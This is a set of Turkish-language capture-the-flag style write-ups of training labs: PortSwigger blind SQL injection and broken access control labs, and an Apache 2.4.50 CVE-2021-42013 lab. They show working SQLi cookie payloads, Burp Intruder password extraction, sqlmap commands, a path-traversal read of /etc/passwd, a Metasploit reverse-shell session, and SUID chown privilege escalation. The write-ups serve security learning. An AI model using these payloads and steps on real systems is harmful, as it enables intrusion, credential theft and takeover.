

“Lab: Blind SQL injection with conditional responses” Zafiyet Analizi

Portswigger – OWASP TOP 10 - Injection

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N (6.5)

Web uygulaması incelendiğinde aşağıdaki payload cookie değerine girildiğinde blind sql injection zafiyetinin varlığı öğrenilmiştir.

‘ AND 1=1--;

```
Request
Pretty Raw Hex
1 GET / HTTP/2
2 Host: 0a02f008e0473c32f8114b6770033001a.web-security-academy.net
3 Cookie: TrackingId=NKa19M7hoDlRi23' AND 1=1--; session=
  RuycS0C340gqIHgcBUBDlfKzP711iLxe
4 Cache-Control: max-age=0
5 Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"
6 Sec-Ch-Ua-Mobile: ?0
```

Aşağıdaki payload girilerek veritabanında “users” isimli tablonun varlığı öğrenilmiştir. ‘ AND (SELECT 1 FROM users Limit 1) = 1--;

```
Request
Pretty Raw Hex
1 GET / HTTP/2
2 Host: 0a2f008e0473c32f8114b6770033001a.web-security-academy.net
3 Cookie: TrackingId=NKa19M7hoDlRi23' AND (SELECT 1 FROM users Limit 1) = 1--; session=IKMoqy0c4hPFn97zuLTxwbZXoAPwEdA
4 Cache-Control: max-age=0
5 Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"
6 Sec-Ch-Ua-Mobile: ?0
7 Sec-Ch-Ua-Platform: "Linux"
8 Accept-Language: en-US
9 Upgrade-Insecure-Requests: 1
10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
```

Aşağıdaki payload girilerek “users” tablosundaki “username” sütununun varlığı tespit edilmiştir.

```
Request
Pretty Raw Hex
1 GET / HTTP/2
2 Host: 0a2f008e0473c32f8114b6770033001a.web-security-academy.net
3 Cookie: TrackingId=NKa19M7hoDlRi23' AND (SELECT username FROM users LIMIT 1) != '' --; session=IKMoqy0c4hPFn97zuLTxwbZXoAPwEdA
4 Cache-Control: max-age=0
5 Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"
6 Sec-Ch-Ua-Mobile: ?0
7 Sec-Ch-Ua-Platform: "Linux"
8 Accept-Language: en-US
9 Upgrade-Insecure-Requests: 1
```

Aşağıdaki payload girilerek “users” tablosu içerisinde “administrator” isimli kullanıcının varlığı tespit edilmiştir.

Request

```
1 GET / HTTP/2
2 Host: 0a2f008e0473c32f8114b6770033001a.web-security-academy.net
3 Cookie: TrackingId=NKa19M7hoDl1Ri23' AND (SELECT username FROM users WHERE username='administrator') = 'administrator' --; session=IKMoqyOc4hPFn97zuLTxwbZXoAPwEdA
4 Cache-Control: max-age=0
5 Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"
6 Sec-Ch-Ua-Mobile: ?0
7 Sec-Ch-Ua-Platform: "Linux"
8 Accept-Language: en-US
9 Upgrade-Insecure-Requests: 1
```

Aşağıdaki payload girilerek “users” tablosundaki “password” sütununun varlığı tespit edilmiştir.

Request

```
1 GET / HTTP/2
2 Host: 0a2f008e0473c32f8114b6770033001a.web-security-academy.net
3 Cookie: TrackingId=NKa19M7hoDl1Ri23' AND (SELECT password FROM users LIMIT 1) != '' --; session=IKMoqyOc4hPFn97zuLTxwbZXoAPwEdA
4 Cache-Control: max-age=0
5 Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"
6 Sec-Ch-Ua-Mobile: ?0
7 Sec-Ch-Ua-Platform: "Linux"
8 Accept-Language: en-US
9 Upgrade-Insecure-Requests: 1
```

Aşağıdaki payload kullanılarak Burp Suite intruder ile olası bütün ihtimaller denenerek administrator şifresine ulaşılmıştır.

① Payload positions

Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.

Target: https://0a2f008e0473c32f8114b6770033001a.web-security-academy.net

```
1 GET / HTTP/2
2 Host: 0a2f008e0473c32f8114b6770033001a.web-security-academy.net
3 Cookie: TrackingId=NKa19M7hoDl1Ri23' AND (SELECT SUBSTRING(password,$2$, $3$) FROM users WHERE username='administrator')='$1$' --; ses
4 Cache-Control: max-age=0
5 Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"
6 Sec-Ch-Ua-Mobile: ?0
7 Sec-Ch-Ua-Platform: "Linux"
8 Accept-Language: en-US
9 Upgrade-Insecure-Requests: 1
10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
```

? Payload sets

You can define one or more payload sets. The number of payload sets depends on the a

Payload set: 3

Payload count: 36

Payload type: Brute forcer

Request count: 1,296

? Payload settings [Brute forcer]

This payload type generates payloads of specified lengths that contain all permutations o

Character set: abcdefghijklmnopqrstuvwxyz0123456789

Min length: 1

Max length: 1

? Payload sets

You can define one or more payload sets. The number of payload sets de

Payload set: 1

Payload count: 36

Payload type: Numbers

Request count: 1,296

? Payload settings [Numbers]

This payload type generates numeric payloads within a given range and i

Number range

Type: ☒ Sequential ☐ Random

From: 1

To: 36

Step: 1

How many:

? Payload sets

You can define one or more payload sets. The number of payload sets depends on the attack

Payload set: 2

Payload count: 1

Payload type: Numbers

Request count: 1,296

? Payload settings [Numbers]

This payload type generates numeric payloads within a given range and in a specified format.

Number range

Type: ☒ Sequential ☐ Random

From: 1

To: 1

Step: 1

How many:

Geçerli payloadların kombinasyonları birleştirilerek administrator şifresine ulaşılmış ve giriş sağlanmıştır.

Filter: Showing all items								
Request	Payload 1	Payload 2	Payload 3	Status code	Error	Timeout	Length	Comment
802	10	1	w	200	<input type="checkbox"/>	<input type="checkbox"/>	11509	
804	12	1	w	200	<input type="checkbox"/>	<input type="checkbox"/>	11509	
830	2	1	x	200	<input type="checkbox"/>	<input type="checkbox"/>	11509	
990	18	1	1	200	<input type="checkbox"/>	<input type="checkbox"/>	11509	
1227	3	1	8	200	<input type="checkbox"/>	<input type="checkbox"/>	11509	
1228	4	1	8	200	<input type="checkbox"/>	<input type="checkbox"/>	11509	
1230	6	1	8	200	<input type="checkbox"/>	<input type="checkbox"/>	11509	
1277	17	1	9	200	<input type="checkbox"/>	<input type="checkbox"/>	11509	
0				200	<input type="checkbox"/>	<input type="checkbox"/>	11448	
1	1	1	a	200	<input type="checkbox"/>	<input type="checkbox"/>	11448	
2	2	1	a	200	<input type="checkbox"/>	<input type="checkbox"/>	11448	
3	3	1	a	200	<input type="checkbox"/>	<input type="checkbox"/>	11448	
4	4	1	a	200	<input type="checkbox"/>	<input type="checkbox"/>	11448	
5	5	1	a	200	<input type="checkbox"/>	<input type="checkbox"/>	11448	



Blind SQL injection with conditional responses

LAB

Solved



[Back to lab description >>](#)

Congratulations, you solved the lab!

Share your skills!



[Continue learning >>](#)

[Home](#) | [Welcome back!](#) | [My account](#) | [Log out](#)

My Account

Your username is: administrator

Email

Update email

SqlMap ile Tespiti

```
sqlmap -u https://xxx[.]web-security-academy[.]net/ --method=GET --
cookie='TrackingId=WZbKlhXWWoi5nIG8; session=rFCh8kN2ucszM3treiVDUQ0C2Hrag3Xq'
-- level=2 -p 'TrackingId' --param-filter='COOKIE' --skip 'session' --batch
```

```
Cookie parameter 'TrackingId' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 116 HTTP(s) requests:
---
Parameter: TrackingId (Cookie)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: TrackingId=WZbKlhXWWoi5nIG8' AND 5756=5756 AND 'hgoX'='hgoX; session=rFCh8kN2ucszM3treiVDUQ0C2Hrag3Xq

  Type: stacked queries
  Title: PostgreSQL stacked queries (heavy query - comment)
  Payload: TrackingId=WZbKlhXWWoi5nIG8';SELECT COUNT(*) FROM GENERATE_SERIES(1,5000000)--; session=rFCh8kN2ucszM3treiVDUQ0C2Hrag3Xq

  Type: time-based blind
  Title: PostgreSQL > 8.1 AND time-based blind
  Payload: TrackingId=WZbKlhXWWoi5nIG8' AND 1687=(SELECT 1687 FROM PG_SLEEP(5)) AND 'kikL'='kikL; session=rFCh8kN2ucszM3treiVDUQ0C2Hrag3Xq
---
[09:30:11] [INFO] the back-end DBMS is PostgreSQL
back-end DBMS: PostgreSQL
```

```
sqlmap -u https://0a3c00f7034195178042daea008b002c.web-security-academy.net/ --method=GET --
cookie='TrackingId=NAYVOJ9Ta3MyebtQ; session=25HPUs4B1zyavQRS91EtvVwghbW5E3a' --
level=2 -p 'TrackingId' --param-filter='COOKIE' --skip 'session' --batch --dbms=PostgreSQL --
passwords --users --common-tables --common-columns --threads=10 --columns -T users
```

```
Database names on other DBMSes
[13:38:10] [INFO] fetching columns for table 'users' in database 'public'
[13:38:10] [INFO] retrieved: 3
[13:38:13] [INFO] retrieving the length of query output
[13:38:13] [INFO] retrieved: 5
[13:38:16] [INFO] retrieved: email
[13:38:18] [INFO] retrieving the length of query output
[13:38:18] [INFO] retrieved: 7
[13:38:23] [INFO] retrieved: varchar
[13:38:23] [INFO] retrieving the length of query output
[13:38:23] [INFO] retrieved: 8
[13:38:28] [INFO] retrieved: password
[13:38:28] [INFO] retrieving the length of query output
[13:38:28] [INFO] retrieved: 7
[13:38:33] [INFO] retrieved: varchar
[13:38:33] [INFO] retrieving the length of query output
[13:38:33] [INFO] retrieved: 8
[13:38:38] [INFO] retrieved: username
[13:38:38] [INFO] retrieving the length of query output
[13:38:38] [INFO] retrieved: 7
[13:38:40] [INFO] retrieved: 
```



```
Database: public
Table: users
[3 columns]
```

Column	Type
email	varchar
password	varchar
username	varchar

“HTTP - CVE-2021-42013” Zafiyet Analizi

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N (7.2)

Cyberexam - OWASP TOP 10 – Security Misconfiguration

Apache HTTP Server 2.4.50 sürümünde Path Traversal ve Remote Code Execution zafiyetine sebebiyet veren açığı inceleyeceğiz.

HTTP - CVE-2021-42013

STOP LAB

Stop

STATUS

Provisioning

We are preparing your lab. Please wait.

Makineye bağlanıp genel ağ taraması yapıyorum.

```
Terminal - user@cyberpath: ~
(user@ cyberpath) - [~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
7: eth0@if8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:0a:00:01:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.0.1.2/24 brd 10.0.1.255 scope global eth0
        valid_lft forever preferred_lft forever
(user@ cyberpath) - [~]
$ nmap 10.0.1.2/24
```

```
Nmap scan report for acl-httpd-1.acl_internal_network (10.0.1.5)
Host is up (0.00041s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT      STATE SERVICE
80/tcp    open  http
```

10.0.1.5 ip adresinde 80 portunun açık olduğunu görüp incelemeye başlıyorum.

```
$ nmap 10.0.1.5 -sVC -vv -p 80
```

Komutuyla versiyon taraması yaptım ve zafiyetli Apache 2.4.50 sürümünün kullanıldığını tespit ettim.

```
PORT      STATE SERVICE REASON  VERSION
80/tcp    open  http    syn-ack Apache httpd 2.4.50 ((Unix))
|_http-server-header: Apache/2.4.50 (Unix)
|_http-methods:
|_Supported Methods: GET POST OPTIONS HEAD TRACE
|_Potentially risky methods: TRACE
|_http-title: Lorem Ipsum
```

```
$ searchsploit Apache 2.4.50
```

Yardımla modül olup olmadığını keşfettim.

```
$ searchsploit Apache 2.4.50
```

Exploit Title	Path
apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Rem	php/remote/29290.c
apache + PHP < 5.3.12 / < 5.4.2 - Remote Code	php/remote/29316.py
apache CXF < 2.5.10/2.6.7/2.7.4 - Denial of S	multiple/dos/26710.txt
apache HTTP Server 2.4.50 - Path Traversal &	multiple/webapps/50406.sh
apache HTTP Server 2.4.50 - Remote Code Execu	multiple/webapps/50446.sh
apache HTTP Server 2.4.50 - Remote Code Execu	multiple/webapps/50512.py

Metasploit frameworkünden Path Traversal modülüne giriyorum.

```
# Name Disclosure Date Rank
Check Description
-----
0 exploit/multi/http/apache_normalize_path_rce 2021-05-10 excellent
Yes Apache 2.4.49/2.4.50 Traversal RCE
1 auxiliary/scanner/http/apache_normalize_path 2021-05-10 normal
No Apache 2.4.49/2.4.50 Traversal RCE scanner

Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/http/apache_normalize_path

msf6 > use 0
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/apache_normalize_path_rce) >
```

Modül ayarlarını giriyorum.

```
msf6 exploit(multi/http/apache_normalize_path_rce) > set LHOST 127.0.0.1
LHOST => 127.0.0.1
msf6 exploit(multi/http/apache_normalize_path_rce) > set RPOT 80
[!] Unknown datastore option: RPOT. Did you mean RPORT?
RPORT => 80
msf6 exploit(multi/http/apache_normalize_path_rce) > set RPORT 80
RPORT => 80
msf6 exploit(multi/http/apache_normalize_path_rce) > set RHOSTS 10.0.1.5
RHOSTS => 10.0.1.5
msf6 exploit(multi/http/apache_normalize_path_rce) >
```

Verilen ayarlar ile zafiyetin bulunmadığını tespit ediyorum.

```
msf6 exploit(multi/http/apache_normalize_path_rce) > exploit

[*] Started reverse TCP handler on 10.0.1.2:4444
[*] Using auxiliary/scanner/http/apache_normalize_path as check
[-] http://10.0.1.5:80 - The target is not vulnerable to CVE-2021-42013 (requires mod_cgi to be enabled).
[*] Scanned 1 of 1 hosts (100% complete)
[-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable.
[*] Exploit completed, but no session was created.
```

Nmap ile zafiyet taramasına devam ediyorum. Nmap çıktısı, /icons/ klasörünün listelemeye açık olduğunu gösteriyor.

```
-p 80
[*] exec: nmap 10.0.1.5 --script=vuln -p 80

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-31 12:01 UTC
Nmap scan report for acl-httpd-1.acl_internal_network (10.0.1.5)
Host is up (0.0021s latency).

PORT      STATE SERVICE
80/tcp    open  http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-enum:
|_ /icons/: Potentially interesting folder w/ directory listing
|_http-trace: TRACE is enabled
```

Bu zafiyete özel olarak yazılmış python scriptini indirip kullanıyorum.

<https://github.com/walnutsecurity/cve-2021-42013/blob/main/cve-2021-42013.py>


```
python3 py.py -u http://10.0.1.5:80
+] Executing payload http://10.0.1.5:80/icons/../../../../etc/passwd
!] http://10.0.1.5:80 is vulnerable to Path Traversal Attack (CVE-2021-42013)
+] Response:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
nats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/qaats:/usr/sbin/nologin
```

Zafiyetin varlığının tespitinden sonra TARGETURI'yi /cgi-bin olarak ayarlayıp exploit ediyorum ve shell alıyorum.

```
The requested URL was not found on this server.
sf6 exploit(multi/http/apache_normalize_path_rce) > set CVE CVE-2021-42013
CVE => CVE-2021-42013
sf6 exploit(multi/http/apache_normalize_path_rce) > exploit

*) Started reverse TCP handler on 10.0.1.2:4444
*) Using auxiliary/scanner/http/apache_normalize_path as check
+) http://10.0.1.5:80 - The target is vulnerable to CVE-2021-42013 (mod_cgi is enabled).
*) Scanned 1 of 1 hosts (100% complete)
*) http://10.0.1.5:80 - Attempt to exploit for CVE-2021-42013
*) http://10.0.1.5:80 - Sending linux/x64/meterpreter/reverse_tcp command payload
*) Sending stage (3045348 bytes) to 10.0.1.5
*) Meterpreter session 1 opened (10.0.1.2:4444 -> 10.0.1.5:50218) at 2024-08-31 12:16:26 +0000
```

```
meterpreter > shell
Process 136 created.
Channel 1 created.
whoami
yuser
```

\$ whoami ve id

Komutları çalıştırıldığında kullanıcının yetkisiz olduğunu fark ediyorum ve yetki yükseltmeyi deniyorum.

\$ ls -la /bin

komutuyla bin klasöründeki dosyaların izinlerini kontrol ettim ve chown dosyasında suid bitinin varlığını tespit ettim.

```
ls -la /bin
total 4916
drwxr-xr-x 1 root root 4096 Oct 5 2021 .
drwxr-xr-x 1 root root 4096 Aug 31 11:48 ..
-rwxr-xr-x 1 root root 1168776 Apr 18 2019 bash
-rwxr-xr-x 1 root root 43744 Feb 28 2019 cat
-rwxr-xr-x 1 root root 64320 Feb 28 2019 chgrp
-rwxr-xr-x 1 root root 64288 Feb 28 2019 chmod
-rwsr-xr-x 1 root root 72512 Feb 28 2019 chown
-rwxr-xr-x 1 root root 146880 Feb 28 2019 cp
-rwxr-xr-x 1 root root 121464 Jan 17 2019 dash
-rwxr-xr-x 1 root root 109408 Feb 28 2019 date
-rwxr-xr-x 1 root root 76712 Feb 28 2019 dd
```

İstenilen flag'in sahibini değiştirip içeriğini aldım.

```
chown $(id -un):$(id -gn) /flag.txt
cat /flag.txt
```

“Lab: Multi-step process with no access control on one step” Zafiyet Analizi

Portswigger – OWASP TOP 10 - Broken Access Control

Bu zafiyet, yetki kontrolünün sadece belirli aşamalarda olduğu durumlarda gerçekleşir. Saldırgan yetki kontrolü yapılan methodları esgeçip istenilen methodun çalıştırılmasını sağlayabilir.

/admin URI'ına erişmeye çalıştığımızda yetkimiz olmadığını görüyoruz.

Admin interface only available if logged in as an administrator

Labın bize sağladığı admin hesabına giriş yapıp incelemeye devam ediyoruz.

Admin panel incelendiğinde, yetki yükseltme yapılabildiğini görüyoruz. Burp intercept aracılığıyla requesti sonra kullanmak için repeater'a atıyoruz ve admin hesabından çıkış yapıyoruz.

Kullanıcı hesabına tekrar giriş yapıp adminken kaydettiğimiz requesti çalıştırıyoruz.

```
Request
Pretty Raw Hex
1 POST /admin-roles HTTP/2
2 Host: 0af3008a04ca79988177c18c00b300bd.web-security-academy.net
3 Cookie: session=9F6T8im99mhzvPR0ndHq0vDQPJl7ngwC
4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:129.0) Gecko/20100101 Firefox/129.0
5 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate, br
8 Content-Type: application/x-www-form-urlencoded
9 Content-Length: 45
10 Origin: https://0af3008a04ca79988177c18c00b300bd.web-security-academy.net
11 Dnt: 1
12 Sec-Gpc: 1
13 Referer:
https://0af3008a04ca79988177c18c00b300bd.web-security-academy.net/admin-roles
14 Upgrade-Insecure-Requests: 1
15 Sec-Fetch-Dest: document
16 Sec-Fetch-Mode: navigate
17 Sec-Fetch-Site: same-origin
18 Sec-Fetch-User: ?1
19 Priority: u=0, i
20 Te: trailers
21
22 action=upgrade&confirmed=true&username=wiener
```

Congratulations, you solved the lab!

Zafiyetin kapatılması: Yetki kontrolü gerekli bütün methodlar için gerçekleşmelidir.